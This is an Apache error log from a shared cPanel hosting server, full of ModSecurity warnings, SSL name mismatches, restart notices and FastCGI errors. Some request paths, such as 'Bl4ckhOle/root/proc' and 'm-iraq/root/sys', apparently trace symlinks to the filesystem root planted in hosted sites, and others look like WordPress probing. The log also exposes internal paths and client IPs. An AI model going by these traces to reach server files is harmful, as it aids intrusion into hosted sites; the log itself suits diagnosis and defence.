[Fri Jul 17 10:20:06.652768 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "alm0flCBpfuYyhJ140vhbAAAAB4"]
[Fri Jul 17 10:20:07.482109 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:07.483362 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:07.529848 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:42662] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:07.604979 2026] [security2:error] [pid 2063442:tid 2063442] [client 103.196.29.240:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/vdeploy-global": Permission denied [hostname "v-deploy.com"] [uri "/xmlrpc.php"] [unique_id "alm0fqTW5eFi1WFCzw0Y1AAAABc"]
[Fri Jul 17 10:20:07.605009 2026] [security2:error] [pid 2063442:tid 2063442] [client 103.196.29.240:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/vdeploy-ip": Permission denied [hostname "v-deploy.com"] [uri "/xmlrpc.php"] [unique_id "alm0fqTW5eFi1WFCzw0Y1AAAABc"]
[Fri Jul 17 10:20:08.306594 2026] [ssl:error] [pid 2068143:tid 2068143] (70014)End of file found: [client 66.85.158.91:42680] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:09.481641 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:42738] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:12.984356 2026] [ssl:error] [pid 2068138:tid 2068138] (70014)End of file found: [client 66.85.158.91:53866] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:13.226015 2026] [security2:error] [pid 2063889:tid 2063889] [client 154.110.148.81:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "epid.gov.lk"] [uri "/"] [unique_id "alm0hem5CUZD8nfUE72xeAAAAAo"]
[Fri Jul 17 10:20:13.226064 2026] [security2:error] [pid 2063889:tid 2063889] [client 154.110.148.81:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "epid.gov.lk"] [uri "/"] [unique_id "alm0hem5CUZD8nfUE72xeAAAAAo"]
[Fri Jul 17 10:20:13.830835 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:53922] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:16.669772 2026] [core:error] [pid 2063463:tid 2063463] (13)Permission denied: [client 57.141.18.16:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory99/subsystem/devices/memory18/subsystem/devices/memory6/node0/compact
[Fri Jul 17 10:20:18.858515 2026] [mime:warn] [pid 2068138:tid 2068138] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:19.820612 2026] [mpm_prefork:notice] [pid 1919054:tid 1919054] AH00171: Graceful restart requested, doing restart
[Fri Jul 17 10:20:24.329795 2026] [hostinglimits:notice] [pid 1919054:tid 1919054] mod_hostinglimits: use Min UID 1000
[Fri Jul 17 10:20:24.329844 2026] [hostinglimits:notice] [pid 1919054:tid 1919054] mod_hostinglimits: version 1.0-39. LVE mechanism enabled
[Fri Jul 17 10:20:24.329850 2026] [hostinglimits:notice] [pid 1919054:tid 1919054] mod_hostinglimits: found apr extention version 3
[Fri Jul 17 10:20:24.329866 2026] [hostinglimits:notice] [pid 1919054:tid 1919054] mod_hostinglimits: apr_lve_environment_init_group_minuid check ok
[Fri Jul 17 10:20:24.667458 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: colombobss.com.seyawin.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:24.693703 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: slnewsonline.lk.seyawin.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:25.271102 2026] [log_config:warn] [pid 2070774:tid 2070774] (32)Broken pipe: [client 66.85.158.91:0] AH00646: Error writing to |/usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=host2.phenomhost.com --suffix=-bytes_log --sslport=8443
[Fri Jul 17 10:20:25.271132 2026] [log_config:warn] [pid 2070774:tid 2070774] (32)Broken pipe: [client 66.85.158.91:0] AH00646: Error writing to |/usr/local/cpanel/bin/splitlogs --main=apache-traffic.log --mainout=/var/log/cpanel-server-traffic/web/traffic-apache.log
[Fri Jul 17 10:20:25.271141 2026] [log_config:warn] [pid 2070774:tid 2070774] (32)Broken pipe: [client 66.85.158.91:0] AH00646: Error writing to |/usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=host2.phenomhost.com --mainout=/etc/apache2/logs/access_log --sslport=8443
[Fri Jul 17 10:20:25.684212 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: stanthonys.biz.buddhika.xyz:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:25.735812 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: emlproperties.lk.buddhika.xyz:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:25.784018 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: millenniumagro.lk.buddhika.xyz:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:25.792305 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: greentaraceylon.com.buddhika.xyz:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:25.822203 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: manaharasupercenter.lk.buddhika.xyz:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:25.895398 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: yummykingdom.lk:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:25.910780 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: webitra.net:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:25.999882 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: topview.lk:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:26.028368 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: smartenglish.lk:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:26.029950 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: sirimayura.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:26.076806 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: seyawin.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:26.094644 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: sadaroexports.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:26.111907 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: saara.lk:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:26.116381 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: royalguardian.net:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:26.122237 2026] [log_config:warn] [pid 2047046:tid 2047046] (32)Broken pipe: [client 66.85.158.91:0] AH00646: Error writing to |/usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=host2.phenomhost.com --suffix=-bytes_log --sslport=8443, referer: https://melanifinefood.com/wp-cron.php?doing_wp_cron=1784263817.9564960002899169921875
[Fri Jul 17 10:20:26.122265 2026] [log_config:warn] [pid 2047046:tid 2047046] (32)Broken pipe: [client 66.85.158.91:0] AH00646: Error writing to |/usr/local/cpanel/bin/splitlogs --main=apache-traffic.log --mainout=/var/log/cpanel-server-traffic/web/traffic-apache.log, referer: https://melanifinefood.com/wp-cron.php?doing_wp_cron=1784263817.9564960002899169921875
[Fri Jul 17 10:20:26.122279 2026] [log_config:warn] [pid 2047046:tid 2047046] (32)Broken pipe: [client 66.85.158.91:0] AH00646: Error writing to |/usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=host2.phenomhost.com --mainout=/etc/apache2/logs/access_log --sslport=8443, referer: https://melanifinefood.com/wp-cron.php?doing_wp_cron=1784263817.9564960002899169921875
[Fri Jul 17 10:20:26.128311 2026] [log_config:warn] [pid 2063463:tid 2063463] (32)Broken pipe: [client 74.7.227.140:0] AH00646: Error writing to |/usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=host2.phenomhost.com --suffix=-bytes_log --sslport=8443, referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:20:26.128349 2026] [log_config:warn] [pid 2063463:tid 2063463] (32)Broken pipe: [client 74.7.227.140:0] AH00646: Error writing to |/usr/local/cpanel/bin/splitlogs --main=apache-traffic.log --mainout=/var/log/cpanel-server-traffic/web/traffic-apache.log, referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:20:26.128365 2026] [log_config:warn] [pid 2063463:tid 2063463] (32)Broken pipe: [client 74.7.227.140:0] AH00646: Error writing to |/usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=host2.phenomhost.com --mainout=/etc/apache2/logs/access_log --sslport=8443, referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:20:26.131802 2026] [log_config:warn] [pid 2065297:tid 2065297] (32)Broken pipe: [client 74.7.227.161:0] AH00646: Error writing to |/usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=host2.phenomhost.com --suffix=-bytes_log --sslport=8443, referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:20:26.131842 2026] [log_config:warn] [pid 2065297:tid 2065297] (32)Broken pipe: [client 74.7.227.161:0] AH00646: Error writing to |/usr/local/cpanel/bin/splitlogs --main=apache-traffic.log --mainout=/var/log/cpanel-server-traffic/web/traffic-apache.log, referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:20:26.131867 2026] [log_config:warn] [pid 2065297:tid 2065297] (32)Broken pipe: [client 74.7.227.161:0] AH00646: Error writing to |/usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=host2.phenomhost.com --mainout=/etc/apache2/logs/access_log --sslport=8443, referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:20:26.132261 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: priyankaramahagammullage.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:26.141478 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: partsfinder.lk:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:26.142804 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: onur.gov.lk:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:26.268349 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: lakwelholdings.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:26.657174 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: idealist.lk:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:26.740095 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: gemtrails.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:26.757422 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: fhb.health.gov.lk:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:26.840723 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: dataesite.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:26.841656 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: danishlk.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:26.899614 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: colper.lk:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:26.936769 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: buildbywebitra.site:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:26.952571 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: buddhika.xyz:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:26.954483 2026] [ssl:warn] [pid 1919054:tid 1919054] AH01909: bbicecreams.com:443:0 server certificate does NOT include an ID which matches the server name
[Fri Jul 17 10:20:27.161605 2026] [:notice] [pid 1919054:tid 1919054] mod_ruid2/0.9.8 enabled
[Fri Jul 17 10:20:27.164486 2026] [mpm_prefork:notice] [pid 1919054:tid 1919054] AH00163: Apache/2.4.68 (cPanel) OpenSSL/1.1.1k mod_bwlimited/1.4 configured -- resuming normal operations
[Fri Jul 17 10:20:27.164601 2026] [core:notice] [pid 1919054:tid 1919054] AH00094: Command line: '/usr/sbin/httpd'
[Fri Jul 17 10:20:27.273727 2026] [ssl:error] [pid 2075689:tid 2075689] (70014)End of file found: [client 66.85.158.91:54732] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:27.389245 2026] [security2:error] [pid 2075692:tid 2075692] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/anandaV3/img/sudgestions icon.png"] [unique_id "alm0k_TLXGCuVk4hiAO9fAAAAAs"]
[Fri Jul 17 10:20:27.390016 2026] [security2:error] [pid 2075692:tid 2075692] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/anandaV3/img/sudgestions icon.png"] [unique_id "alm0k_TLXGCuVk4hiAO9fAAAAAs"]
[Fri Jul 17 10:20:27.399196 2026] [ssl:error] [pid 2075693:tid 2075693] (70014)End of file found: [client 66.85.158.91:46670] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:27.429133 2026] [security2:error] [pid 2075692:tid 2075692] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/anandaV3/img/sudgestions icon.png"] [unique_id "alm0k_TLXGCuVk4hiAO9fAAAAAs"]
[Fri Jul 17 10:20:27.495211 2026] [security2:error] [pid 2075692:tid 2075692] [client 47.82.48.66:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:48/subsystem/tty63/power/runtime_status"] [unique_id "alm0k_TLXGCuVk4hiAO9fQAAAAs"]
[Fri Jul 17 10:20:27.495248 2026] [security2:error] [pid 2075692:tid 2075692] [client 47.82.48.66:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:48/subsystem/tty63/power/runtime_status"] [unique_id "alm0k_TLXGCuVk4hiAO9fQAAAAs"]
[Fri Jul 17 10:20:29.226405 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:30.023689 2026] [ssl:error] [pid 2075692:tid 2075692] (70014)End of file found: [client 66.85.158.91:46844] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:32.030785 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:32.051077 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:32.677952 2026] [ssl:error] [pid 2075728:tid 2075728] (70014)End of file found: [client 66.85.158.91:47620] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:34.316214 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:37.150842 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:38.049941 2026] [proxy_fcgi:error] [pid 2075690:tid 2075690] [client 20.220.225.223:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:20:38.138907 2026] [proxy_fcgi:error] [pid 2075728:tid 2075728] [client 20.220.225.223:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:20:38.205543 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:38.219233 2026] [proxy_fcgi:error] [pid 2075689:tid 2075689] [client 20.220.225.223:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:20:38.244813 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:47862] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:38.274533 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:38.308692 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.220.225.223:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:20:38.398928 2026] [proxy_fcgi:error] [pid 2075728:tid 2075728] [client 20.220.225.223:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:20:38.485351 2026] [proxy_fcgi:error] [pid 2075780:tid 2075780] [client 20.220.225.223:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:20:38.564437 2026] [proxy_fcgi:error] [pid 2075692:tid 2075692] [client 20.220.225.223:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:20:38.646208 2026] [proxy_fcgi:error] [pid 2075690:tid 2075690] [client 20.220.225.223:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:20:38.726131 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.220.225.223:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:20:38.805788 2026] [proxy_fcgi:error] [pid 2075705:tid 2075705] [client 20.220.225.223:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:20:40.061818 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:41.697074 2026] [security2:error] [pid 2075705:tid 2075705] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/backup/ccpsl/wp-load.php"] [unique_id "alm0ofVsLAz87UqRdDoWjgAAAAA"]
[Fri Jul 17 10:20:41.697441 2026] [security2:error] [pid 2075705:tid 2075705] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/backup/ccpsl/wp-load.php"] [unique_id "alm0ofVsLAz87UqRdDoWjgAAAAA"]
[Fri Jul 17 10:20:42.092131 2026] [ssl:error] [pid 2075780:tid 2075780] (70014)End of file found: [client 66.85.158.91:39220] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:42.385765 2026] [ssl:error] [pid 2075693:tid 2075693] (70014)End of file found: [client 66.85.158.91:39246] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:42.693418 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:43.789257 2026] [ssl:error] [pid 2075723:tid 2075723] (70014)End of file found: [client 66.85.158.91:39314] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:44.969396 2026] [security2:error] [pid 2075705:tid 2075705] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/backup/ccpsl/wp-load.php"] [unique_id "alm0ofVsLAz87UqRdDoWjgAAAAA"]
[Fri Jul 17 10:20:45.405578 2026] [ssl:error] [pid 2075728:tid 2075728] (70014)End of file found: [client 66.85.158.91:39378] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:46.547270 2026] [ssl:error] [pid 2075718:tid 2075718] (70014)End of file found: [client 66.85.158.91:39410] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:47.546903 2026] [ssl:error] [pid 2075711:tid 2075711] (70014)End of file found: [client 66.85.158.91:39440] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:49.228746 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:50.180229 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:50.364151 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:50.468037 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:50.566499 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:51.334304 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:51.404437 2026] [ssl:error] [pid 2075705:tid 2075705] (70014)End of file found: [client 66.85.158.91:39900] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:51.527308 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:51.677929 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:51.752355 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:51.768368 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:51.777595 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:51.837112 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:51.841278 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:51.845858 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:51.874129 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:51.958326 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:51.982179 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:51.996326 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
